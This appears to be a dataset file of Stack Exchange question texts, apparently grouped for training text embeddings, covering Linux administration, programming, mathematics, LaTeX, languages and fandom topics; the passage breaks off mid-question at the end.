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jxm

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nomic_embed_supervised

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[ "I have backups up everything, but I'm still uneasy about the process and would like confirmation. I'd rather do this one time correctly. I want to shrink /dev/sda6/ by 200GB and reallocate it to /dev/sda2. I boot a LiveCD and turn off LinuxSwap (locked otherwise). I've been reading that it is very hard to move "left" when partitioning and other AskUbuntu threads are confusing me. Do I need to resize /dev/sda6 by 200GB "preceding" (rather than "following"), and then resize /dev/sda4 by 200GB? A little guidance would ease my nerves of messing everything up. Thank you ahead of time.", "When is using the past perfect tense not necessary?", "Squid IP Routing Issue I have a squid server installed with 30 additional proxy addresses. Whenever I try to use one of these proxy addresses with a browser, like chrome, my IP shows as the main server IP as opposed to the additional address. For example, say the home IP is 192.0.0.10 and the additional IP I'm trying to use is 192.0.0.13, when going to a "what is my IP" type of site, it shows 192.0.0.10 no matter what additional address I use. Any idea as to why this might happen? Thanks for any help.", "I am working to build a reinforcement agent with DQN. The agent would be able to place buy and sell orders for a day trading purpose. I am facing a little problem with that project. The question is \"how to tell the agent to maximize the profit and avoid the transaction where the profit is less than 100$\". I want to maximize the profit inside a trading day and avoid to place the pair (limit buy order, limit sell order) if the profit on that transaction is less than 100$. The idea here is to avoid the little noisy movements. Instead, I prefer long beautiful profitable movements. Be aware that I thought using the \"Profit & Loss\" as the reward. \"I want the minimal profit per transaction to be 100$\" ==> It seems this is not something that is enforceable. I can train the agent to maximize profit per transaction, but how that profit is cannot be ensured. At the beginning, I wanted to tell the agent, if the profit of a transaction is 50 dollars, I will remove 100 dollars, then It becomes a penalty of 50 dollars for the agent. I thought it was a great way to tell the agent to not place a limit buy order if you are not sure it will give us a minimal profit of 100$. It seems that all I would be doing there is simply shifting the value of the reward. The agent only cares about maximizing the sum of rewards and not taking care of individual transactions. How to tell the agent to maximize the profit and avoid the transaction where the profit is less than 100$? With that strategy, what guarantee that the agent will never make a buy/sell decision that results in less than 100 dollars profit? Does the sum of reward - # transaction * 100 can be a solution?", "Is there a function $f\\colon\\mathbb{R}\\to\\mathbb{R}$ such that every non-empty open interval is mapped onto $\\mathbb{R}$? I wonder whether there is a function $f\\colon\\Bbb R\\to\\Bbb R$ with the folowing characteristic? for every two real numbers $\\alpha,\\beta,\\alpha\\lt\\beta$, $$\\{f(x):x\\in(\\alpha,\\beta)\\}=\\Bbb R$$ I can't say such a function does not exist, neither can I construct a example Thanks a lot!", "When a Battle Master fighter gets a critical hit and uses a maneuver that adds a superiority die to the damage, is that damage die doubled? The Battle Master fighter has access to a number of maneuvers that add a superiority die to the damage roll. For instance, the Trip Attack maneuver says (PHB, p. 74): When you hit a creature with a weapon attack, you can expend one superiority die to attempt to knock the target down. You add the superiority die to the attack’s damage roll, and if the target is Large or smaller, it must make a Strength saving throw. On a failed save, you knock the target prone. The Critical Hits rule states (PHB, p. 196): When you score a critical hit, you get to roll extra dice for the attack’s damage against the target. Roll all of the attack’s damage dice twice and add them together. Then add any relevant modifiers as normal. [...] If the attack involves other damage dice, such as from the rogue’s Sneak Attack feature, you roll those dice twice as well. During our game, the fighter PC rolled a critical hit. He then wanted to use a superiority die to use the Trip Attack maneuver to trip the enemy. Based on the above rules, is the damage from the superiority die also doubled? I'm assuming the answer is yes based on the last statement in the Critical Hits section, but I wanted to confirm.", "Do I need the original discs to install WoW on a new computer? My boyfriend bought the World of Warcraft Battle Chest, Wrath of the Lich King, & Cataclysm. He downloaded them to our previous computer, but now we have a new one and when he took out the first disk from the battle chest he severely scratched it. Anyway, I tried putting in disk #2, and it said I couldn't do it without disk 1 (which is scratched!). I've recently put in Wrath of the Lich King (it came with 2 CDs), and it said that I haven't downloaded the original and asked me if I wanted to downloaded. I clicked \"yes\" -- does that mean its downloading WoW & The Burning Crusade? Or do we need to buy it all again? We just bought the whole set on June of this year...", "I'm currently unable to access anything via the Stack Exchange app under iOS; is this a known issue?", "Iterated self-composition of arbitrary function Does there exist some notation that represents the iterative composition of a single-input, single-output function with itself? As in, say, $f_5(x)=f(f(f(f(f(x)))))$. In other words, going by the above (incorrect, I'm pretty sure) notation: $f(x)=x+1$, $f_n(m)=m+n$ I'm looking for the correct way to express the notion of \"$f_n(x)$\" for any $f$.", "With Unix script, I'd like to add values in column 1 if text in column 2 is the same and print the sum. I have a file that is: 7 GeneA 2 GeneB 6 GeneC 2 GeneB 9 GeneA I want the output to look like: 16 GeneA 4 GeneB 6 GeneC Thanks", "Disable ssh password authentication by user Is it possible to enable ssh password authentication for one user on a system and disable it for an other. If you add ChallengeResponseAuthentication no PasswordAuthentication no UsePAM no to /etc/ssh/sshd_config you disable it for all users Adding it to ~/.ssh/config doesn't seem to work", "Maybe the concept, why it's used, and an example.", "\"can't\" versus \"couldn't\", what is the difference? That can't be Obama at the door, it's too early. That couldn't be Obama at the door, it's too early. What is the difference between them? Are they almost the same?", "how to *completely* turn off automatic updates in Windows 10 I have disabled the services "Windows Update" and "Windows Update Medic Service" in using services.mcs. Furthermore, I made changes to the registry, creating a key HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU with a DWORD (32-bit) Value "AUOptions" with value set to 2. I still see frequent queries to ctldl.windowsupdate.com sent to my DNS server. Which services need to be disables to completely shut this down?", "I want to determine whether a multi-line string ends with a line containing specified pattern. These code failed, it doesn't match. s=`echo hello && echo world && echo OK` [[ \"$s\" =~ 'OK$' ]] && echo match", "What are the use cases for different scoping constructs?", "What does it mean to \"program to an interface\"?", "What does Morgoth look like? Is Morgoth, the original enemy in J. R. R. Tolkien's Middle-earth ever visually described? I envisage him as a bigger, meaner version of the physical Sauron, but I cannot find any reference in The Simarillion.", "Some icons are correct, and some are whack. Turns out it's not just the hot questions list, but the whole icon set.", "Consider the symmetric group $S_5$. I would like to find how many elements of $S_5$ are of order 5, and how many are of order 6. I would also like to determine what the maximum order of an element in this group would be. Here is what I have so far: elements of order 5 are the 5-cycles. Elements of order 6 (since a 6-cycle is impossible for 5 elements) must have at least an even cycle and a cycle of length divisible by 3, and 2 + 3 = 5, so elements of order 5 are a combination of 2-cycles and 3-cycles. How can I find the total count of such elements of order 5 and order 6, and the maximum order? I'm not entirely sure where to go from here." ]

[ "Are all integers fractions?", "What is the function of the RNA primer in DNA replication?", "Root filesystem check fails after power failure during installation During the \"install\" phase of the upgrade there was a power failure. After when starting up again the following errors are reported: init: udevtrigger main process (420) terminated with status 1 init: udevtrigger post-stop process (428) terminated with status 1 init: udevmonitor main process (419) killed by TERM signal The disk drive for / is not ready yet or not present Continue to wait; or press S to skip mounting or M for manual recovery Pressing M gives me the following message: Root filesystem check failed. A maintenance shell will now be started. CONTROL-D will terminate this shell and reboot the system.", "Best way to parse command line arguments in C#? When building console applications that take parameters, you can use the arguments passed to Main(string[] args). In the past I've simply indexed/looped that array and done a few regular expressions to extract the values. However, when the commands get more complicated, the parsing can get pretty ugly. So I'm interested in: Libraries that you use Patterns that you use Assume the commands always adhere to common standards such as .", "How could Thranduil have met a dragon?", "I'm trying to prove that any group $G$ of infinite order has an infinite number of subgroups. I think that if the group has an element of infinite order, then it's easy because I can take the groups generated by the powers of this element. What if it doesn't? Every element generates a cyclic subgroup. Every element belongs to at least one cyclic subgroup (that generated by itself). So the group is the union of its cyclic subgroups. If all these are finite, we would have to have an infinite collection of subgroups anyway. Is that correct?", "Is the trio's Polyjuice escapade in Chamber of Secrets ever discovered?", "What caused the apocalypse in the Hunger Games? So the stories of the Hunger Games are set in , a post-apocalyptic society situated in North America. Is there anything to explain what caused the Apocalypse? Whether from the main books, any extra material or interviews? (No fanfic please.) As well as the cause, is there any indication of when the apocalypse happened? And how long after the apocalypse are the events of the Hunger Games?", "Convert file contents to lower case I have temp file with some lower-case and upper-case contents. Input Contents of my temp file: hi Jigar GANDHI jiga I want to convert all upper to lower. Command I tried the following command: sed -e \"s/[A-Z]/[a-z]/g\" temp but got wrong output. Output I want it as: hi jigar gandhi jiga What needs to be in the substitute part of argument for sed?", "Where did the world go? I was playing on my main world when my laptop ran out of power. I found a charger and woke it up, but Minecraft had crashed. Now, it doesn't appear in the world selection screen! I have verified that it still exists in the Minecraft folder, and the directory contents look to be in order. Does Minecraft save an internal flag somewhere when it crashes hard? If so, how do I reset it?", "I have being using Skype for a long time on my Ubuntu 14.04 LTS. From this morning on, Skype simple cannot connect to my account anymore. That is my Skype version: Skype 4.3.0.37 © 2014 Skype and/or Microsoft My Ubuntu system: LSB Version: core-2.0-amd64:core-2.0-noarch:core-3.0-amd64:core-3.0-noarch:core-3.1-amd64:core-3.1-noarch:core-3.2-amd64:core-3.2-noarch:core-4.0-amd64:core-4.0-noarch:core-4.1-amd64:core-4.1-noarch:cxx-3.0-amd64:cxx-3.0-noarch:cxx-3.1-amd64:cxx-3.1-noarch:cxx-3.2-amd64:cxx-3.2-noarch:cxx-4.0-amd64:cxx-4.0-noarch:cxx-4.1-amd64:cxx-4.1-noarch:desktop-3.1-amd64:desktop-3.1-noarch:desktop-3.2-amd64:desktop-3.2-noarch:desktop-4.0-amd64:desktop-4.0-noarch:desktop-4.1-amd64:desktop-4.1-noarch:graphics-2.0-amd64:graphics-2.0-noarch:graphics-3.0-amd64:graphics-3.0-noarch:graphics-3.1-amd64:graphics-3.1-noarch:graphics-3.2-amd64:graphics-3.2-noarch:graphics-4.0-amd64:graphics-4.0-noarch:graphics-4.1-amd64:graphics-4.1-noarch:languages-3.2-amd64:languages-3.2-noarch:languages-4.0-amd64:languages-4.0-noarch:languages-4.1-amd64:languages-4.1-noarch:multimedia-3.2-amd64:multimedia-3.2-noarch:multimedia-4.0-amd64:multimedia-4.0-noarch:multimedia-4.1-amd64:multimedia-4.1-noarch:printing-3.2-amd64:printing-3.2-noarch:printing-4.0-amd64:printing-4.0-noarch:printing-4.1-amd64:printing-4.1-noarch:qt4-3.1-amd64:qt4-3.1-noarch:security-4.0-amd64:security-4.0-noarch:security-4.1-amd64:security-4.1-noarch Distributor ID: Ubuntu Description: Ubuntu 14.04.3 LTS Release: 14.04 Codename: trusty Any suggestion why or how to fix it? Thanks in advance.", "How did \"When\" become the customary answer to \"say when\"? When a waiter at a restaurant comes by with pepper or Parmesan cheese, he says, \"say when\" and starts putting it on your food. Many people will say \"OK\" or \"that's enough,\" but it seems that the customary answer is \"when\". How did this become the customary answer? Did everyone decide to make the exact same joke, until it became commonplace. I thought it was funny when I was a kid, but even now as an adult, I still say it. For evidence that this is indeed commonplace, see . The answer \"when\" is used and is external to the joke of the strip. But even so, I'm curious as to just how commonplace this really is. I see it a lot in the US. Is it used elsewhere in the world? (by the way, I'm new to asking questions on this site, and I have no idea what tags to put on this question)", "What's the weight of the earth? What's the weight of the earth? That is, what's the weight of the earth in the gravitational field of the sun? I imagine it's either $0$, because there's no net fall toward the sun, so the downward component of acceleration is $0$ and $F=ma=0$, or $Gm_1m_2/r^2\\approx7\\cdot10^{-11}\\cdot6\\cdot10^{24}\\cdot2\\cdot10^{30}/(1.5\\cdot10^{11})^2\\approx4\\cdot10^{22}$ Newtons, but which, and why?", "where do I use Database. Methods? I m trying to understand where we use following Database.Methods. I know if we want to insert a record to an object we use DML Statement. What i want to know is why/where we use Database. methods. It might be silly question. Database.saveResults Database.insert Database.query Database.Query Database.error really appreciate the inputs. Thanks a ton in advance.", "Directory index forbidden by Options directive", "Does $\\sum_{n=1}^{\\infty} \\sin(\\pi(2+\\sqrt{3})^n)$ converge? Converge absolutely? Per the title, does $\\displaystyle\\sum_{n=1}^{\\infty} \\sin(\\pi(2+\\sqrt{3})^n)$ converge? Converge absolutely? I'm stuck on this question, not sure how to approach it. Thank you!", "I opened terminal windows and I got a message your screen size %d%d is bogus. Expect trouble I closed the terminal and the next time I opened terminal, the message didn't show up. What is this message and why did I receive it?", "Was or is? Confusion", "$a\\mid b,c\\mid d\\Rightarrow\\,\\gcd(a,c)\\mid \\gcd(b,d)$ So far I have that $a|b$ implies $b=ax$ for some x in the integers and $c|d$ implies that $d=cy$ for some y in the integers. From here I can see that $gcd(a,c)|gcd(b,d)$ is logically equivalent to $gcd(a,c)|gcd(ax,cy)$ but I am not sure where to go from there.", "How does HOTP keep in sync? My understanding of is that each password is unique and based on a counter. $$PASSWORD = HOTP_1(K,C)$$ Where $C$ is an incremental counter. What I wish to know, is how you keep the client and server in sync? Looking at current systems (google authenticator), there appears to be no indication if the actual 'counter' number, but you can generate successive passwords at will. What happens if, for example, the password you have generated uses $C = 5$, but the server is expecting $C = 3$? Also, what is the 'integrity check' for? Google cant seem to come up with a solution." ]

[ "BibTeX: Abbreviate first name (aka given name) to 2 or 3 letters (not 1)", "using gb4e keeping interlinear glosses together on the same page I am using gb4e for several hundred interlinear glosses in my dissertation. Several of the examples span more than one page, that is, the vernacular and gloss will be on one page, while the free translation appears at the top of the next page. How can I keep all three elements together on the same page? I often have subexamples (a, b, c) that don't need to stay together. That is, 1a can be on one page, and 1b on the next, as long as vernacular-gloss-free translation for each subpart stay together. In the MWE below, the free translation is at the top of page 2, while the vernacular and gloss are at the bottom of page 1. \\documentclass[11pt,letterpaper]{article} \\usepackage{lipsum} \\usepackage{gb4e} \\noautomath \\begin{document} \\lipsum[1-4] \\begin{exe} \\ex \\gll wuz x̃ũch it-ak xohish-em\\\\ 1\\textsc{sg.prn} bread eat-\\textsc{inf} want.\\textsc{prs}-1\\textsc{sg}\\\\ \\glt `I want to eat bread.' \\end{exe} \\end{document} A solution was proposed to a similar question (), but it requires me to manually look for what could be dozens of orphans throughout my dissertation (and doesn't work when applied to my example, since it still strands the FT). I would prefer a more elegant solution that takes care of the problem automatically.", "I want to do something like the following in TeX: \\begin{nobreak} Text here will not split over pages, it will remain as one continuous chunk. If there isn't enough room for it on the current page a pagebreak will happen before it and the whole chunk will start on the next page. \\end{nobreak} Is this possible?", "Prove that the multiplicative groups $\\mathbb{R} - \\{0\\}$ and $\\mathbb{C} - \\{0\\}$ are not isomorphic. Is my proof correct? I have made use of the fact isomorphism preserves order of elements, which I proved couple of exercises back. I am also interested in other ways of proving it. Is there a more explicit way or is this explicit enough? Problem Prove that the multiplicative groups $\\mathbb{R} - \\{0\\}$ and $\\mathbb{C} - \\{0\\}$ are not isomorphic. Solution Recall that isomorphism preserves order of elements and hence if there exists an isomorphism from $\\phi: \\mathbb{C}-\\{0\\} \\mapsto \\mathbb{R}-\\{0\\}$, then $x \\in \\mathbb{C} - \\{0\\}$, and $\\phi(x) \\in \\mathbb{R} - \\{0\\}$, then $\\vert x \\vert = \\vert \\phi(x) \\vert$. Now note that the element $i \\in \\mathbb{C} - \\{0\\}$ has order $4$. However, no element in $\\mathbb{R}-\\{0\\}$ has order $4$. Hence, no isomorphism can exist. Hence, the multiplicative groups $\\mathbb{R} - \\{0\\}$ and $\\mathbb{C} - \\{0\\}$ are not isomorphic. Thanks", "I extracted simple example: require 'pp' x = 1..3 pp x.map do |i| {:value => i, :double => (i*2)} end pp x.map { |i| {:value => i, :double => (i*2)} } pp(x.map do |i| {:value => i, :double => (i*2)} end) pp(x.map { |i| {:value => i, :double => (i*2)} }) I am wondering why first pp produces: [1, 2, 3] While all the oders are giving: [{:value=>1, :double=>2}, {:value=>2, :double=>4}, {:value=>3, :double=>6}] I assume it has something to do with operator precedence. Where can I find good explanation?", "Does the pilot of a rocket ship experience an asymptotic approach to the speed of light? A question has recently come up that goes beyond my knowledge of special relativity. Suppose a pilot has his foot on the gas pedal of a rocket ship and keeps it applied to achieve a constant acceleration, and he has a magical engine that can maintain the thrust needed to accomplish such acceleration even as the vehicle acquires mass. He measures his acceleration at periodic intervals and sums it up as he goes. Observers perceive the rocket to increase in speed and gradually approach the speed of light (but never reach it). Two possibilities are being debated for what the pilot observes, and my preference is for the first: Time dilation gives him the impression that the summation of his readings are approaching light speed at a constant rate, but there is an asymptote involved here even in the inertial frame such that he never actually perceives himself to reach, let alone exceed, $c$, because time slows down to a crawl (as seen from the reference frame) before this can happen. Although to observers he is only approaching $c$, it is possible for the summation of the measurements on his accelerometer to indicate that he has surpassed $c$ and is now traveling faster than light. From the reference frame he is approaching $c$ and his instruments in the inertial frame tell him that he has surpassed it. I assume (1) is true beyond a doubt? If so, is there a straightforward explanation for this?", "What are some uses of template template parameters? I've seen some examples of C++ using template template parameters (that is templates which take templates as parameters) to do policy-based class design. What other uses does this technique have?", "How do I mail merge from Google Spreadsheet to a Google Document?", "Prove that $\\lim_{t\\to \\infty} t\\mu(\\{x:f(x)\\geq t\\})=0$ Problem Suppose $f$ is a non-negative integrable function on a measure space $(X,\\mathcal{A},\\mu).$ Prove that $$\\lim_{t\\to \\infty} t\\mu(\\{x:f(x)\\geq t\\})=0$$ Attempt Let $E_t=\\{x:f(x)\\geq t\\}$ Note that $f\\chi_{E_t}\\leq f$. Since $f$ is integrable, the Lebesgue dominated convergence theorem tells us that $$\\lim_{t\\to\\infty} \\int f\\chi_{E_t}\\rightarrow \\int \\lim_{t\\to\\infty} f\\chi_{E_t}=0,$$ since $\\lim_{t\\to\\infty} f\\chi_{E_t}=0$ a.e. $\\ ^{(1)}$ The result follows from the fact that $$t\\mu(E_t)\\leq\\int f\\chi_{E_t}.$$ Question I am having trouble proving $(1)$. That is, how can I show that $f\\chi_{E_t}\\rightarrow 0$ a.e?", "Passing data between view controllers", "Where does the term \"fun fact\" originate?-- namely, not with the compositional meaning but rather with the idiomatic usage to introduce some sort of unusual, esoteric, absurd or otherwise \"controversial\" fact?", "Show that $\\cot \\frac{\\pi}{2m}\\cot \\frac{2\\pi}{2m}\\cot \\frac{3\\pi}{2m}...\\cot \\frac{(m-1)\\pi}{2m}=1$", "Rotation Path Not Shown in Graph Editor I created a couple of LocRot keyframes but the rotation path and keyframes aren't shown in the graph editor (no, they aren't hidden).", "I recently traveled from the Basel area to Stuttgart for a weekend. I had round-trip tickets including (paid) bicycle reservations. At our first station change, we found that our EC train was canceled. Information gave us a replacement train schedule, using slow RE trains which don't require reservations for bicycles. As we continued our trip, every single train we boarded arrived late, eventually causing us to reach Stuttgart roughly 2 hours later than our initial itinerary. What monetary compensation am I justified in requesting from Deutsche Bahn in this case? In particular: It seems clear I should get back the bicycle reservation money, since the train we reserved on was canceled. I know DB offers compensation for late travels. I'm not sure whether we were 2 hours late or more, or just shy of 2 hours. But does this apply if we weren't traveling by our original trains? If we had originally scheduled our journey with RE trains and other local transport, we could have bought a Baden-Württemberg ticket for much cheaper than our tickets including an EC cost. Can I ask them to refund the difference? Am I entitled to any other type of compensation?", "Can you find all classes in a package using reflection?", "How do I detect unsigned integer multiply overflow?", "JavaScript post request like a form submit", "I'm running Bash scripting, but sometimes I get confused which of these commands I use belong to who. Sometimes man xxx works, sometimes doesn't, so I use --help or info, mostly one of these works to show description of the command. Can anyone tell me how I would know what command belongs to what? Bash builtin, GNU utility, etc.", "I'm trying to continue the numbering of examples in enumerate environments in beamer. For example, I'd like one slide to feature Foo Bar and the next slide Zip Yadda My strategy so far has been to define a counter that saves the enumerate counter at the end of the first environment and can then be queried to set the enumerate counter at the start of the second enumerate environment. (This is essentially the proposal also found at ) That works wonderfully so long as I don't try to uncover elements of the slide sequentially. The problem, of course, is that as each of the pdf-pages that make up the slide is created, the counter is advanced. Here's a MWE. \\documentclass{beamer} \\setbeamercovered{highly dynamic} \\newcounter{saveenumi} \\newcommand{\\seti}{\\setcounter{saveenumi}{\\value{enumi}}} \\newcommand{\\conti}{\\setcounter{enumi}{\\value{saveenumi}}} \\begin{document} \\begin{frame}[<+->] \\begin{enumerate} \\item foo \\item bar% \\seti \\end{enumerate} \\end{frame} \\begin{frame}[<+->] \\begin{enumerate} \\conti \\item zip \\item yadda% \\seti \\end{enumerate} \\end{frame} \\end{document} As the second slide is progressively uncovered (pages 3 and 4 of the resulting PDF), the counter at the beginning of the enumerate environment is advanced each time. So page 3 of the PDF has the right numbering, (3) and (4) respectively, while the fully revealed page has the wrong numbering. Pictures follow: on one of the slides on the following one", "Comparison theorem for ODE" ]

[ "One of my coworkers has provided me with a Bash syntax that I am unfamiliar with. My Google foo has failed me on figuring out what it does and why/when I should use it. The command that he sent me was of this form: someVariable=something command Initially, I thought that this was equivalent to the following: someVariable=something ; command Or someVariable=something command But this doesn't appear to the be case. Examples: [Jan-03 11:26][~]$ # Look at the environment variable BAZ. It is currently empty [Jan-03 11:26][~]$ echo $BAZ [Jan-03 11:27][~]$ # Try running a command of the same format [Jan-03 11:27][~]$ BAZ=jake echo $BAZ [Jan-03 11:27][~]$ [Jan-03 11:27][~]$ # Now, echo BAZ again. It is still empty: [Jan-03 11:27][~]$ echo $BAZ [Jan-03 11:27][~]$ [Jan-03 11:28][~]$ [Jan-03 11:28][~]$ # If we add a semi-colon to the command, we get dramatically different results: [Jan-03 11:28][~]$ BAZ=jake ; echo $BAZ jake [Jan-03 11:28][~]$ [Jan-03 11:28][~]$ # And we can see that the variable is actually set: [Jan-03 11:29][~]$ echo $BAZ jake [Jan-03 11:29][~]$ What does this syntax do? What happens to the variable that has been set? Why does this work?", "Simple question about the definition of Brownian motion I have a question concerning the definiton of Brownian motion. Usually (e.g. on Wikipdia) one demands a brownian motion $\\lbrace B_t\\rbrace_{t\\in[0,\\infty)}$ to satisfy the following condition: $\\forall 0\\leq t_0<t_1<...<t_m: B_{t_1}-B_{t_0},...,B_{t_m}-B_{t_{m-1}}$ are independent random variables. But today I come across with formally another definition of Brownian motion! Instead of the above condition the book demands the following property: $\\forall t,h\\geq 0$, $B_{t+h}-B_t$ is independent of $\\lbrace B_u : 0\\leq u\\leq t \\rbrace$. Now I'm wondering whether both properties are indeed equivalent or not?! Hopefully someone can help me.", "How do I root my Android device? This is a common question asked by those who want to root their phones. How exactly do I root my Android device? Are there risks involved?", "How can I install the most used plugins like flash player and mp3 in Ubuntu?", "How can I use a variable in the replacement side of the Perl substitution operator?", "Let $(a_k)$ be a sequence of real numbers and let $b_k=\\frac{a_1+a_2+\\dots a_k}{k}$ for each $k\\in \\mathbb{N}$. Prove that if $(a_k)$ converges to $\\alpha\\in \\mathbb{R}$, then the sequence $(b_k)$ also converges to $\\alpha$. My answer: Let $\\epsilon > 0$. Since ($a_k$) converges to $\\alpha$, then there exists a $N_{\\epsilon1}\\in\\mathbb{N}$ such that $|a_k - \\alpha | < \\frac{\\epsilon}{2}$ for all $k \\geq N_{\\epsilon1}$. Notice that $\\frac{a_1+...+a_n - n\\alpha}{k}$ converges to $0$ as $k$ approaches infinity. Thus, there exists $N_{\\epsilon2}\\in\\mathbb{N}$ such that $|\\frac{a_1+...+a_n - n\\alpha}{k}|<\\frac{\\epsilon}{2}$ for all $k>N_{\\epsilon2}$. Now, let $N= $max$ (N_{\\epsilon1},N_{\\epsilon2})$. Then for any $k>N$ we get, $$\\begin{array}{rcll} |b_k-\\alpha| &=& |b_k - \\alpha*1|&\\\\ &=& |\\frac{a_1+...+a_k}{k} - \\frac{k\\alpha}{k}|&\\\\ &=& |\\frac{a_1+...+a_n}{k} + \\frac{[a(n+1)+...+a_k]}{k} - \\frac{(k-n)\\alpha}{k} - \\frac{n\\alpha}{k}|& \\text{(notice that $N_{\\epsilon1}\\leq N<k$)}\\\\ &=& |\\frac{a_1+...+a_n - n\\alpha}{k} + \\frac{[a(n+1)+...+a_k - (k-n)\\alpha]}{k}|&\\\\ &=& |\\frac{a_1+...+a_n - n\\alpha}{k} + \\frac{[(a(n+1) -\\alpha) + ... + (a_k - \\alpha)]}{k}|&\\\\ &=& |\\frac{a_1+...+a_n - n\\alpha}{k} + \\frac{(a(n+1) -\\alpha)}{k} + ... + \\frac{(a_k - \\alpha)}{k}|&\\\\ &\\leq& |\\frac{a_1+...+a_n - n\\alpha}{k}| + |\\frac{(a(n+1) - \\alpha)}{k}| + ... + |\\frac{(a_k - \\alpha)}{k}|& \\text{(by the triangle inequality)}\\\\ &=&|\\frac{a_1+...+a_n - n\\alpha}{k}| + \\frac{|(n+1) - \\alpha|}{k} + ... + \\frac{|a_k - \\alpha|}{k}&\\\\ &<& \\frac{\\epsilon}{2} + [\\frac{\\epsilon}{2}/k + ... + \\frac{\\epsilon}{2}/k]& \\\\ &=& \\frac{\\epsilon}{2} + \\frac{\\epsilon}{2}*\\frac{(k-n)}{k}&\\\\ &<& \\frac{\\epsilon}{2} + \\frac{\\epsilon}{2}& \\text{(since $k-n<k$)}\\\\ &=& \\epsilon& \\end{array}$$ And since we found such an $N$ for arbitrary $\\alpha$, then $(b_k)$ converges to $\\alpha$ by definition. I'm not sure i kept all my variables straightened out. How does this look and if you have a better idea let me know!", "Thomson et al. provide a proof that $\\lim_{n\\rightarrow \\infty} \\sqrt[n]{n}=1$ in . It has to do with using an inequality that relies on the binomial theorem: I have an alternative proof that I know (from elsewhere) as follows. Proof. \\begin{align} \\lim_{n\\rightarrow \\infty} \\frac{ \\log n}{n} = 0 \\end{align} Then using this, I can instead prove: \\begin{align} \\lim_{n\\rightarrow \\infty} \\sqrt[n]{n} &= \\lim_{n\\rightarrow \\infty} \\exp{\\frac{ \\log n}{n}} \\newline & = \\exp{0} \\newline & = 1 \\end{align} On the one hand, it seems like a valid proof to me. On the other hand, I know I should be careful with infinite sequences. The step I'm most unsure of is: \\begin{align} \\lim_{n\\rightarrow \\infty} \\sqrt[n]{n} = \\lim_{n\\rightarrow \\infty} \\exp{\\frac{ \\log n}{n}} \\end{align} I know such an identity would hold for bounded $n$ but I'm not sure I can use this identity when $n\\rightarrow \\infty$. Question: If I am correct, then would there be any cases where I would be wrong? Specifically, given any sequence $x_n$, can I always assume: \\begin{align} \\lim_{n\\rightarrow \\infty} x_n = \\lim_{n\\rightarrow \\infty} \\exp(\\log x_n) \\end{align} Or are there sequences that invalidate that identity? (Edited to expand the last question) given any sequence $x_n$, can I always assume: \\begin{align} \\lim_{n\\rightarrow \\infty} x_n &= \\exp(\\log \\lim_{n\\rightarrow \\infty} x_n) \\newline &= \\exp(\\lim_{n\\rightarrow \\infty} \\log x_n) \\newline &= \\lim_{n\\rightarrow \\infty} \\exp( \\log x_n) \\end{align} Or are there sequences that invalidate any of the above identities? (Edited to repurpose this question). Please also feel free to add different proofs of $\\lim_{n\\rightarrow \\infty} \\sqrt[n]{n}=1$.", "Removing Ubuntu from UEFI Bios Menu", "Another Question in Hatcher", "I accidentally changed /var owner/group to my username and then changed it back to root, but not all the /var folders' owners are root, so is there anyway to change back owner/group of files/folders to default state? Or at least those files/folders that are created by packages?", "A question of Euclidean domain", "I have cobbled together a command to return the process ID of a running daemon: ps aux | grep daemon_name | awk \"{ print \\$2 }\" It works perfectly and returns the PID, but it also returns a second PID which is presumably the process I'm running now. Is there a way I can exclude my command from the list of returned PIDs? I've tested it a few times and it appears my command is always the second PID in the list, but I don't want to grab just the first PID in case it's inaccurate.", "I'm tutoring high school students. I've always taught them that: A charged particle moving without acceleration produces an electric as well as a magnetic field. It produces an electric field because it's a charge particle. But when it is at rest, it doesn't produce a magnetic field. All of a sudden when it starts moving, it starts producing a magnetic field. Why? What happens to it when it starts moving? What makes it produce a magnetic field when it starts moving?", "I'm studying measure theory and two question came to my mind: If $f:\\mathbb{R}\\to\\mathbb{R}$ is monotone and $B\\subseteq\\mathbb{R}$ is borel, is the image $f(B)$ borel? If $f:\\mathbb{R}\\to\\mathbb{R}$ is a monotone function (say, non-decreasing), does there exist a sequence of continuous functions $f_n:\\mathbb{R}\\to\\mathbb{R}$ converging pointwise to $f$? Here's the motivation for those questions: Let $(X,M)$ and $(Y,N)$ be measure spaces. It's known that if $\\mu$ is a measure on $(X,M)$ and $f:X\\to Y$ is measure, then we have the pushforward measure $f_*\\mu(A)=\\mu(f^{-1}(A))$ on $(Y,N)$. What if we were to define a \"pullback measure\"? Given a function $f:X\\to Y$ such that $f(M)\\subseteq N$ (i.e. $f$ maps measurable sets to measurable sets) and a measure $\\nu$ on $N$, the natural formula would be $f^*\\nu(A)=\\nu(f(A))$. So we ask if is there a good amount of functions which map measurable sets to measurable sets in $\\mathbb{R}$, and monotone functions seem like good candidates (for strictly monotone, continuous functions, the result is valid and there are several answers on the web). If this were true, maybe we could use some convergence argument to solve the problem above.", "How do I merge two dictionaries in a single expression (taking union of dictionaries)? I have two Python dictionaries, and I want to write a single expression that returns these two dictionaries, merged (i.e. taking the union). The update() method would be what I need, if it returned its result instead of modifying a dictionary in-place. >>> x = {'a': 1, 'b': 2} >>> y = {'b': 10, 'c': 11} >>> z = x.update(y) >>> print(z) None >>> x {'a': 1, 'b': 10, 'c': 11} How can I get that final merged dictionary in z, not x? (To be extra-clear, the last-one-wins conflict-handling of dict.update() is what I'm looking for as well.)", "Error-Handling in Swift-Language", "Is \"do something by date X\" inclusive?", "How do you subtract Dates in Java?", "Is it possible to experimentally show that observable universe is much larger than ~93B ly?", "How do I read from /proc/$pid/mem under Linux? The tells me that /proc/$pid/mem “can be used to access the pages of a process's memory”. But a straightforward attempt to use it only gives me $ cat /proc/$$/mem /proc/self/mem cat: /proc/3065/mem: No such process cat: /proc/self/mem: Input/output error Why isn't cat able to print its own memory (/proc/self/mem)? And what is this strange “no such process” error when I try to print the shell's memory (/proc/$$/mem, obviously the process exists)? How can I read from /proc/$pid/mem, then?" ]

[ "Strategy for \"Which is better\" questions In questions that are asking: \"Which is better option A or option B?\" It seems that several close reasons immediately come to mind: Primarily Opinion Based. In many cases the choice between A and B is simply a personal preference, a \"6 vs. half dozen\", either approach will work just as well and answers to this type of question will be almost entirely opinion based. Too Broad. In some cases A is better and in others B is better, to go through every possible use case would lead to too many possible answers or one answer that reads like a short text book. Off-topic, Minimal Understanding, include attempted solutions. This is perhaps the the most important one. If the OP needs to know \"Which is better\", they should probably have tried both and decided which is better, based on a practical trial. Yet another option would be to downvote and/or comment with a \"Try it and find out\". So... Are there cases when these questions are permissible? Could we add some more specific guidance in the help center? Or should we continue to handle these case by case and just downvote/close appropriately when they pop up? Strongly 